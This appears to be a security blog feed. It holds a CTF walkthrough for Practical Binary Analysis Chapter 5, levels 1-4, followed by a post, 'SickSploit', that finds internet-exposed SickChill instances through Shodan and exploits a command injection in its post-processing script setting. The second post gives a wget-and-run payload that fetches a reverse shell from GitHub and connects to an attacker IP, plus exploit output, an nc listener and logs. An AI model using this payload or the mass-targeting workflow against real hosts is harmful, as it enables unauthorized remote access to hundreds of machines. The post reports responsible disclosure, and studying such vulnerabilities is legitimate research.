Now, why this post? Well, at the end of every chapter, this book has some exercises. In particular, the Chapter 5 focuses on basic Linux binary analysis and the exercise for this chapter consists in solving a CTF-like challenge which consists of multiple levels. For this, I did not find (luckily) any solution online, so I had to endure the frustration and try harder to solve each level. The challenge is probably easy for anyone with a decent amount of experience in the field, but I believe that it might be somewhat difficult for beginners. For this reason, I will write this post as a walkthrough for the levels in this CTF.

Introduction

The challenge can be found in the “binary” virtual machine that the author provides on the book’s page. In the ~/code/chapter5 folder, there is one binary called oracle which is used to input found flags and unlock new levels.

Level 1

The first level is the easiest: not because it is actually the easiest, but because it is solved in the book. The whole chapter uses this level to present common tools such as xxd, gdb, strace, ltrace and objdump. The first flag is written in the book, 84b34c124b2ba5ca224af8e33b077e9e. You can unlock the lvl2 by running ./oracle 84b34c124b2ba5ca224af8e33b077e9e.

Level 2

The binary created for the second level is called lvl2.

It is a standard ELF:

binary@binary-VirtualBox:~/code/chapter5$ file lvl2 
lvl2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=457d7940f6a73d6505db1f022071ee7368b67ce9, stripped

It is a 64-bit ELF and it is stripped.

binary@binary-VirtualBox:~/code/chapter5$ ldd lvl2
        linux-vdso.so.1 =>  (0x00007ffc9cc58000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2bce606000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f2bce9d0000)

All the dependencies for the linking are satisfied.

Running it, it seems to spit out a random byte encoded in hexadecimal:

binary@binary-VirtualBox:~/code/chapter5$ ./lvl2
4f
binary@binary-VirtualBox:~/code/chapter5$ ./lvl2
f8

Now, the first thing that I personally did was to understand how big was the pool of the bytes generated.

To do this, one way would be a simple script such as:

def gather_output():
    output = []
    for i in range(300):
        print "[+] %s/300" % i
        out = subprocess.check_output(['/home/binary/code/chapter5/lvl2'])
        output.append(out.rstrip('\n'))
        time.sleep(1 + random.randint(1, 10)/10)
    print "[+] Finished gathering outputs."
    return output


raw_list = gather_output()
set_bytes = set(raw_list)

Obviously it is possible to do easily with bash as well. Running this script and checking the content of the set shows that just 16 different bytes are output. This sounds reasonable as the flag for the lvl1 was 32 characters in hexadecimal. All it is needed to be figured out is the order of these characters.

To get an idea of what the program does, it is possible to use ltrace.

binary@binary-VirtualBox:~/code/chapter5$ ltrace ./lvl2
__libc_start_main(0x400500, 1, 0x7ffe7d63b5c8, 0x400640 <unfinished ...>
time(0)                                                                                                                                            = 1547976179
srand(0x5c443df3, 0x7ffe7d63b5c8, 0x7ffe7d63b5d8, 0)                                                                                               = 0
rand(0x7f618d7a9620, 0x7ffe7d63b4ac, 0x7f618d7a90a4, 0x7f618d7a911c)                                                                               = 0x1e1cf80
puts("03"03
)                                                                                                                                         = 3
+++ exited (status 0) +++

We can see that the binary calls time, srand, rand and then puts. It’s pretty obvious that it gets the current time, uses this as a seed for the rand function, gets some random value and prints something to console.

Disassembling the .text section leads to the following assembly code:

The key is therefore to understand what is there at 0x601060.

For this we use gdb:

(gdb) x/8x 0x601060
0x601060:       0xc4    0x06    0x40    0x00    0x00    0x00    0x00    0x00

We can see that there is the address 0x4006c4, this is most likely the address of the beginning of the ‘array’, so let’s print it:

(gdb) x/16s 0x4006c4
0x4006c4:       "03"
0x4006c7:       "4f"
0x4006ca:       "c4"
0x4006cd:       "f6"
0x4006d0:       "a5"
0x4006d3:       "36"
0x4006d6:       "f2"
0x4006d9:       "bf"
0x4006dc:       "74"
0x4006df:       "f8"
0x4006e2:       "d6"
0x4006e5:       "d3"
0x4006e8:       "81"
0x4006eb:       "6c"
0x4006ee:       "df"
0x4006f1:       "88"

Clearly it is the source of the 16 different bytes, let’s use the order as it is laid out in memory:

binary@binary-VirtualBox:~/code/chapter5$ ./oracle 034fc4f6a536f2bf74f8d6d3816cdf88
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Level 2 completed, unlocked lvl3         |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Run oracle with -h to show a hint

Level 3

The binary created for the third level is called lvl3.

If we check what file this is:

binary@binary-VirtualBox:~/code/chapter5$ file lvl3 
lvl3: ERROR: ELF 64-bit LSB executable, Motorola Coldfire, version 1 (Novell Modesto) error reading (Invalid argument)

It seems that the file is corrupted. Using readelf to parse the header we see:

binary@binary-VirtualBox:~/code/chapter5$ readelf -h lvl3
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 0b 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            Novell - Modesto               # This is probably broken
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Motorola Coldfire              # This is probably broken
  Version:                           0x1
  Entry point address:               0x4005d0
  Start of program headers:          4022250974 (bytes into file)   # This is definitely broken
  Start of section headers:          4480 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28
readelf: Error: Reading 0x1f8 bytes extends past end of file for program headers

So, at the moment we can see three fields most likely corrupted:

The OS/ABI.
The machine type.
The program headers table address.

binary@binary-VirtualBox:~/code/chapter5$ xxd lvl3 | head -n 4
00000000: 7f45 4c46 0201 010b 0000 0000 0000 0000  .ELF............
00000010: 0200 3400 0100 0000 d005 4000 0000 0000  ..4.......@.....
00000020: dead beef 0000 0000 8011 0000 0000 0000  ................
00000030: 0000 0000 4000 3800 0900 4000 1d00 1c00  ....@.8...@.....

So we need to change:

0b -> 00 byte 8. (OS/ABI version)
34 -> 3e byte 19 (Machine)
dead beef -> 4000 0000 on byte 32-40 (Program Header address)

After the changes the header looks like this:

binary@binary-VirtualBox:~/code/chapter5$ xxd test3 | head -n 4
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 d005 4000 0000 0000  ..>.......@.....
00000020: 4000 0000 0000 0000 8011 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0900 4000 1d00 1c00  ....@.8...@.....

NOTE: To make the changes I have personally used hexedit command. Using vim with xxd (:%!xxd) is also possible.

After making this change, I tried to disassemble the program to verify what the code actually does, but the .text section did not show up. The section header table is probably also corrupted somehow.

Using readelf -S to print the section information we can see:

[14] .text             NOBITS           0000000000400550  00000550
       00000000000001f2  0000000000000000  AX       0     0     16

The .text section is marked as NOBITS instead of PROGBITS. We need therefore to change the type of .text in the section header table. First, we need to find it in it.

From the header we can see that the Section Headers start 4480 bytes into the file. We know also that each entry is 64 bytes and that .text is the 14th section starting from 0 (since there is an empty section).

4480+(64x14)=5376 Should give us the address of the beginning of .text section header. If we convert 5376 in hexadecimal we get 1500.

00001500: 8d00 0000 0800 0000 0600 0000 0000 0000  ................
00001510: 5005 4000 0000 0000 5005 0000 0000 0000  P.@.....P.......
00001520: f201 0000 0000 0000 0000 0000 0000 0000  ................
00001530: 1000 0000 0000 0000 0000 0000 0000 0000  ................

If the calculations are correct, these 64 bytes are the header of the .text section. From the ABI document or from man elf 5 we see that a section header has the following structure.

           typedef struct {
               uint32_t   sh_name;
               uint32_t   sh_type;
               uint64_t   sh_flags;
               Elf64_Addr sh_addr;
               Elf64_Off  sh_offset;
               uint64_t   sh_size;
               uint32_t   sh_link;
               uint32_t   sh_info;
               uint64_t   sh_addralign;
               uint64_t   sh_entsize;
           } Elf64_Shdr;

The first 4 bytes are the name of the section, then the next 4 bytes are the type of section. In this case the current type bytes are:

0800 0000

Which makes sense since 8 corresponds to NOBITS. The code for PROGBITS is 1, so we change:

0800 0000 -> 0100 0000

Using readelf now confirms that .text is NOBITS.

Running the program now leads to:

binary@binary-VirtualBox:~/code/chapter5$ ./lvl3 
3a5c381e40d2fffd95ba4452a0fb4a40  ./lvl3

Feeding this flat to the oracle:

binary@binary-VirtualBox:~/code/chapter5$ ./oracle 3a5c381e40d2fffd95ba4452a0fb4a40
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Level 3 completed, unlocked lvl4         |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Run oracle with -h to show a hint

Level 4

The binary for the fourth level is called lvl4.

This level was extremely easy or very lucky. Among the first routing checks that I do on new binaries, I usually run the program with strace and ltrace to check what syscalls and library functions are called, respectively.

For this level, it was enough to run ltrace:

binary@binary-VirtualBox:~/code/chapter5$ ltrace ./lvl4
__libc_start_main(0x4004a0, 1, 0x7ffeea9555d8, 0x400650 <unfinished ...>
setenv("FLAG", "656cf8aecb76113a4dece1688c61d0e7"..., 1)                                                                                         = 0
+++ exited (status 0) +++

It is clear that the program sets some environment variable as the flag.

Just taking that flag:

binary@binary-VirtualBox:~/code/chapter5$ ./oracle 656cf8aecb76113a4dece1688c61d0e7
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Level 4 completed, unlocked lvl5         |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Run oracle with -h to show a hint

Next levels

I am going to make a final post about the next levels, I will attempt to crack level 5 soon. I am not sure how many levels there are in total, but running oracle with ltrace:

binary@binary-VirtualBox:~/code/chapter5$ ltrace ./oracle 656cf8aecb76113a4dece1688c61d0e4
__libc_start_main(0x400c00, 2, 0x7ffc78bb7318, 0x401570 <unfinished ...>
strlen("656cf8aecb76113a4dece1688c61d0e4"...)                                                                                                      = 32
crypt("656cf8aecb76113a4dece1688c61d0e4"..., "$1$pba")                                                                                             = "$1$pba$NIzB29sPpsOXx7G7U/pQi0"
strcmp("$1$pba$NIzB29sPpsOXx7G7U/pQi0", "$1$pba$cC.J56kTHt0f2BeCmPY0S0")                                                                           = -21
strcmp("$1$pba$NIzB29sPpsOXx7G7U/pQi0", "$1$pba$ThmQr44j/SzgLnGGr3z0t.")                                                                           = -6
strcmp("$1$pba$NIzB29sPpsOXx7G7U/pQi0", "$1$pba$bVbBZVMYF.yq/D95S14hi/")                                                                           = -20
strcmp("$1$pba$NIzB29sPpsOXx7G7U/pQi0", "$1$pba$eZVsO8xkHTfWXQJlVj3vF.")                                                                           = -23
strcmp("$1$pba$NIzB29sPpsOXx7G7U/pQi0", "$1$pba$9dVFs3IW334QFtvvh1ZkF0")                                                                           = 21
strcmp("$1$pba$NIzB29sPpsOXx7G7U/pQi0", "$1$pba$l26Zuo8AFAT.rHXQQ0FTX0")                                                                           = -30
strcmp("$1$pba$NIzB29sPpsOXx7G7U/pQi0", "$1$pba$KjeCu9tJUVtd24nC4g75L/")                                                                           = 3
strcmp("$1$pba$NIzB29sPpsOXx7G7U/pQi0", "$1$pba$mMAAETuTP0ixunRdwG9PT0") 

I can see that there are 8 comparisons, probably the input flag is checked against the flag of each level, so I would say that there are 8 levels in this CTF.

For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.

References

Practical Binary Analysis, Dennis Andriesse, Nostarch 2018 ↩

SickSploit - Finding and exploiting open SickChill instances.

Fri, 18 Jan 2019 00:00:00 +0000

Some time ago I got inspired by one post in /r/netsec about exposed Calibre instances which really captured my attention and my interest. Being a beginner myself, I decided to look around me to find something similar. Since I setup my homelab few months ago I have played with different programs, so I decided that I would start from there. After a bit of thought, I have decided to focus on Sickrage which, to be fair, when I had installed was not split yet into Sickrage and SickChill.

Anyway, here I am writing a posts about my findings and results with SickChill (mainly) or some slightly older version of SickRage.

Disclaimer

Everything that has been written or discussed here has purely educational purpose. I do not support, encourage, provide resource for or favour the use or misuse of the information here provided to perform malicious or illegal acts.

Introduction

NOTE: The code to which I refer in this post is available on https://github.com/Sudneo/sicksploit.

SickChill and SickRage are two forks of SickBeard, an older program, and all of them provide the same functionality: automatically downloading Torrents/Usenet files for TV Series. Once the program is installed on a machine, Sick* can look for episodes of the TV Series chosen and their subtitles, can download them and can rename and organize the files. I focused mainly on SickChill since this is a version of the now forked project which is much more similar to how SickRage was when I first installed than the current SickRage.

Knock, Knock, is SickChill home?

The first step of my research was a simple experiment to answer a simple question: is this software actually used? And if it is, do people run it on public hosts? In order to find this out I decided to use Shodan (finally a good chance to use the 5 Euros subscription grabbed last Black Friday), but before I could do this, I had to generate an effective query. I fired up my SickChill instance and checked a sample request to the service. The request/response looked as follows:

The application does not seem to set any particular header that can be used to uniquely identify it. Also, the port on which it runs is not really fixed: 8081 is a popular choice, but so is 8083 and maybe other ports as well. A relatively identifying characteristic is the Server used: Tornado Server. This is a Python webserver, and although it seems to have a decent adoption rate, I decided to use this together with the constraint that the server should redirect to /home, as this is the default behavior for SickChill/Rage.

I run Shodan with the query:

Server: TornadoServer and Location: /home

At the present moment 1874 hits pop up. I understand that 1874 is not a huge number compared to the billions of network enabled devices on the internet, but it still represents a decent amount of possibly exposed machines, and definitely it represents a good motivation to try to exploit this software.

Improving the target acquisition

Among the 1874 results of Shodan there are false positives, broken/misconfigured instances and so on. In order to improve the quality of the results, I have then written a simple script that not only finds the results from Shodan, but queries the machines found for a specific page that would not be accessible without permissions and proper configuration, and reports the instance as a match only if this request succeeds.

I called the small tool SickOwn and it can be found in the project repo.

SickOwn result

In oder to run SickOwn it is necessary a Shodan API key. If you have one, then you can run the script simply with:

python sickown.py SHODAN_API_KEY

Example usage:

$ python sickown.py -h
usage: sickown.py [-h] [-t TIMEOUT] API

Use Shodan.io to track down vulnerable instances of SickChill/Rage

positional arguments:
  API                   The API_KEY for Shodan

optional arguments:
  -h, --help            show this help message and exit
  -t TIMEOUT, --timeout TIMEOUT
                        The timeout to use for the HTTP requests to the
                        targets found

At the moment the project uses Python2.7, I will update it soon to Python3.6 as well.

The tool writes IP:PORT combination that passed the verification test, and are therefore considered exposed instances of SickChill, in a file called sicklist.txt.

/usr/bin/python2.7 /sicksploit/sickown.py API_KEY
[+] Looking for targets using Shodan API.
[+] Query = Server: TornadoServer and Location: /home
[+] Found 1874 targets.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8083 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[...]

A full run of this script, as of today, found 836 confirmed open instances. This result is obtained with a timeout of 3 Seconds for the request(s); it is likely that at least a portion of these machines are geographically very far from the place where I am running the script from, therefore using a longer timeout will likely lead to more hits. In fact, running the script using a timeout of 10 Seconds leads to 1128 open instances.

Now What?

The question is legitimate: now what? Now we know that there are many open instances of this program, meaning that there must be somewhere, in some corner of the planet, someone with bad intentions that wants to exploit it. For this, it might be worth to find some vulnerability myself and report it to get it fixed. The chances that the people who installed a service like this on a public host and exposed it on a public interface, without configuring authentication for it, would upgrade the service are quite low, but I think it’s still worth a try.

Full Disclosure: I didn’t even look for classic web vulnerabilities such as XSS or the kind, I suck at web security, I am not interested in it and I did not want to waste my time. However, I looked around and started to think what functionality could possibly be exploited or abused.

Finding the vulnerability

SickChill does not offer much room in terms of user input, the application flow is pretty simple: besides the general configuration the user searches some TV Series by name, Sick* looks for it with its own logic, the users adds it, chooses some options for the download (most of the time predefined) and that’s it. I decided then to focus on the configuration, which is the place where I - as a user - can provide more input. Among the many options there is one that stands out: Extra Post Processing Script.

Now, to understand what this is, there is a link to a wiki, which is the Github page of the project.

The wiki says:

Extra Scripts:

Examples:

    Windows: C:\Python27\pythonw.exe C:\Script\test.py
    Linux: python /Script/test.py

Use single back slashes, SickChill/Python will escape them and make them double.
Additional scripts can be used, separated by |
Scripts are called after SickChill's own post-processing.

Parameters that are passed:

    argv[0]: File-path to Script
    argv[1]: Final full path to the episode file
    argv[2]: Original full path of the episode file
    argv[3]: Show indexer ID
    argv[4]: Season number
    argv[5]: Episode number
    argv[6]: Episode Air Date

I understand that the functionality is provided to allow users to do something after the built-in post processing of an episode, and in fact all useful data to post process is by default passed to the script selected. I decided to go checking how this functionality is implemented in practice.

The code for this is directly taken from SickBeard, the oldest tool, and can be found in postProcessor.py.

The function which specifically implements this is as follows:

def _run_extra_scripts(self, ep_obj):
    [...]
    if not sickbeard.EXTRA_SCRIPTS:
        return
    file_path = self.file_path
    [...] Code that sets the episode-related arguments
    for curScriptName in sickbeard.EXTRA_SCRIPTS:
        if isinstance(curScriptName, six.text_type):
            try:
                curScriptName = curScriptName.encode(sickbeard.SYS_ENCODING)
            except UnicodeEncodeError:
                # ignore it
                
                pass
        script_cmd = [piece for piece in re.split(r'(\'.*?\'|".*?"| )', curScriptName) if piece.strip()]
        script_cmd[0] = ek(os.path.abspath, script_cmd[0])
        self._log("Absolute path to script: {0}".format(script_cmd[0]), logger.DEBUG)
        script_cmd += [
            ep_location, file_path, str(ep_obj.show.indexerid),
            str(ep_obj.season), str(ep_obj.episode), str(ep_obj.airdate)
        ]
        # use subprocess to run the command and capture output
        
        self._log("Executing command: {0}".format(script_cmd))
        try:
            p = subprocess.Popen(
                script_cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                stderr=subprocess.STDOUT, cwd=sickbeard.PROG_DIR
            )
            out, err_ = p.communicate()

            self._log("Script result: {0}".format(out), logger.DEBUG)

        except Exception as e:
            self._log("Unable to run extra_script: {0}".format(ex(e)))

Besides the details, it is possible to observe that:

There is no sanitation of the input
The scripts are not restricted to any directory specifically
It is possible to pass multiple scripts separating them with pipe (|) symbol

From all this, it is pretty clear that this configuration item allows for a trivial OS command injection.

Sicksploit - exploiting SickChill

Once the injection point is found, the limit is pretty much our own imagination. I decided to exploit the instance by uploading a reverse shell and letting the victim host connect to a listening, attacker-controlled machine. The reverse shell is also in the project repository, together with the PoC code that implements this exploit, called sicksploit.

The idea is pretty simple:

Connect to the open instance
POST a new configuration in which the Extra Post Processing Script field is PAYLOAD
Trigger a manual post processing of the folder that the user selected as a target
Listen from the attacker machine on the specified port
Profit

The PAYLOAD that I have chosen is very simple but does the trick:

'/usr/bin/wget https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py -O /tmp/shell|/usr/bin/python /tmp/shell %s %s' % (rhost, rport)

Basically it downloads the shell, saves it in /tmp folder and runs it with rhost and rport (attacker machine IP and port) as parameters.

Note: This exploit works only if there is at least one file to be post processed. If SickChill does not have any episode downloaded it will not execute the post processing at all, including the extra scripts, therefore not executing the payload. Obviously, since the instance is open anyway, it is be possible to manually add a TV series episode and wait for it to be downloaded before running the exploit.

The exploitation would be something similar to this from the attacker’s perspective:

root@kali:~# python sicksploit.py http://192.168.1.105:8081 192.168.1.200 4444
[+] Trying to get current values for some config items not to break post-processing.
[+] Parsing current Post Processing configuration.
[+] Successfully Parsed current configuration:
	naming_anime_multi_ep: 1
	naming_abd_pattern: %SN - %A.D - %EN
	delete_non_associated_files: on
	naming_sports_pattern: %SN - %A-D - %EN
	process_automatically: on
	mediabrowser_data: 0|0|0|0|0|0|0|0|0|0
	process_method: copy
	sony_ps3_data: 0|0|0|0|0|0|0|0|0|0
	tivo_data: 0|0|0|0|0|0|0|0|0|0
	alt_unrar_tool: unrar
	mede8er_data: 0|0|0|0|0|0|0|0|0|0
	file_timestamp_timezone: network
	naming_anime: None
	tv_download_dir: /home/user/process
	naming_anime_pattern: Season %0S/%SN - S%0SE%0E - %EN
	kodi_data: 0|0|0|0|0|0|0|0|0|0
	autopostprocessor_frequency: 10
	use_icacls: on
	rename_episodes: on
	unrar_tool: unrar
	unpack: 0
	naming_pattern: Season %0S/%SN - S%0SE%0E - %EN
	sync_files: !sync,lftp-pget-status,bts,!qb,!qB
	naming_multi_ep: 1
	postpone_if_sync_files: on
	allowed_extensions: nfo,srr,sfv,srt
	nfo_rename: on
	unpack_dir: 
	kodi_12plus_data: 0|0|0|0|0|0|0|0|0|0
	wdtv_data: 0|0|0|0|0|0|0|0|0|0
[+] Starting to exploit http://192.168.1.105:8081.
[+] Injecting payload: /usr/bin/wget https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py -O /tmp/shell|/usr/bin/python /tmp/shell 192.168.1.200 4444
[+] Exploit succeeded.
[+] Trigger a manual post-processing of /home/user/process to execute the injected payload.
[+] Manual post processing correctly scheduled. It might take a few minutes to actually get executed.

After a few seconds, on the attacker’s machine:

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.1.200] from sickchill.home [192.168.1.105] 46106
$ 

From SickChill perspective, the log reports (from bottom to top):

2019-01-17 20:08:40 INFO     POSTPROCESSOR-MANUAL :: Executing command: [u'/usr/bin/python', '/tmp/shell', '192.168.1.200', '4444', '[...]', '[...]', '253463', '3', '1', '2016-10-21']
AA Downloaded: 1 files, 292 in 0s (23.8 MB/s)
AA Total wall clock time: 0.9s
AA FINISHED --2019-01-17 20:08:40--
AA wget: unable to resolve host address '2016-10-21'
AA Resolving 2016-10-21 (2016-10-21)... failed: Temporary failure in name resolution.
AA --2019-01-17 20:08:39--  http://2016-10-21/
AA Connecting to 1 (1)|0.0.0.1|:80... failed: Invalid argument.
AA Resolving 1 (1)... 0.0.0.1
AA --2019-01-17 20:08:39--  http://1/
AA Connecting to 3 (3)|0.0.0.3|:80... failed: Invalid argument.
AA Resolving 3 (3)... 0.0.0.3
AA --2019-01-17 20:08:39--  http://3/
AA Connecting to 253463 (253463)|0.3.222.23|:80... failed: Invalid argument.
AA Resolving 253463 (253463)... 0.3.222.23
AA --2019-01-17 20:08:39--  http://253463/
AA /home/user/process/Black.Mirror.S03E01.PROPER.WEBRip.x264-TURBO[rarbg]/Black.Mirror.S03E01.PROPER.WEBRip.x264-TURBO.mkv: Scheme missing.
AA /home/user/series/Black Mirror/Season 03/Black Mirror - S03E01 - Nosedive.mkv: Scheme missing.
AA 2019-01-17 20:08:39 (23.8 MB/s) - '/tmp/shell' saved [292/292]
AA 0K                                                       100% 23.8M=0s
AA Saving to: '/tmp/shell'
AA Length: 292 [text/plain]
AA HTTP request sent, awaiting response... 200 OK
AA Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.36.133|:443... connected.
AA Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.36.133
AA --2019-01-17 20:08:39--  https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py
AA ERROR: could not open HSTS store at '/home/user/.wget-hsts'. HSTS will be disabled.
2019-01-17 20:08:39 INFO     POSTPROCESSOR-MANUAL :: Executing command: [u'/usr/bin/wget', 'https://raw.githubusercontent.com/Sudneo/sicksploit/master/shell.py', '-O', '/tmp/shell', '[ep-name]', '[ep-path]', '253463', '3', '1', '2016-10-21']

As it is easy to see, SickChill does not complain and executes both the commands even though it adds extra arguments (which is not a problem).

Additional Info

I have reported the vulnerability more than a month ago (on 15th of December) on the Github page of SickChill. I have been in contact with the main author/maintainer who discussed a fix to this issue. Despite this, I suppose this vulnerability is not top priority since it is exploitable only when the user endangers him/herself by not configuring authentication in front of the SickChill instance, and therefore it is not fixed yet.

Future work

Another interesting project that could be done, taking inspiration from this, is harvesting API keys for private trackers or Usenet logins from the configuration page, wherever these are displayed in plaintext.

Conclusion

The amount of misconfigured services, even the most uncommon ones, is astonishing. Simple, trivial I would say, exploits like this would allow an attacker to gain local access on hundreds of machines across the Internet. Needless to say, when configuring programs which do not have a strong security profile (but also in general) it is crucial not to expose such services to the Internet or -at the very least- configuring a strong authentication in front.

For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.

Phoenix - Heap exploitation part 2

Heap-two

Exploit Strategy

Exploit Analysis

Phoenix - Heap exploitation part 1

Introduction

Heap-zero

Exploit Strategy

Redirecting Control

Heap-one

Exploit Strategy

Final Exploit

Analysis

How to manage your finances with Beancount

How Beancount works

The Struggle of Keeping it in sync

My Workflow

Automation First

Regular Updates

Use the Assert Function

Granularity of Accounts

What an Update Session Looks Like

Visualizing the Result

Conclusion

About Bug Bounties

The Benefits of Bug Bounties Programs

The Technical Downsides

A small de-tour about pentests

The technical Reasons why Bug Bounties are inherently crippled

The Security Researcher perspective

The Social and Political aspects

The Power Unbalance

Platforms

Labor

Conclusion

ROP Emporium - ret2win

ROP Emporium Volume 1

Description of the challenge

Preliminary steps

HTB - Chaos writeup

HackTheBox Chaos

Introduction

Chaos

Nmap

Nikto

Dirb

WPscan

POP and IMAP

Reverse Shell

Privilege escalation

Root

Knock, Knock - TryHackMe CTF

Introduction

Port Knocking

Enumerating

Practical Binary Analysis - Chapter 5 CTF walkthrough level 5

Level 5

Practical Binary Analysis - Chapter 5 CTF walkthrough levels 1-4

Introduction

Level 1

Level 2

Level 3

Level 4

Next levels

References

SickSploit - Finding and exploiting open SickChill instances.

Disclaimer

Introduction

Knock, Knock, is SickChill home?

Improving the target acquisition

SickOwn result

Now What?

Finding the vulnerability

Sicksploit - exploiting SickChill

Additional Info

Future work

Conclusion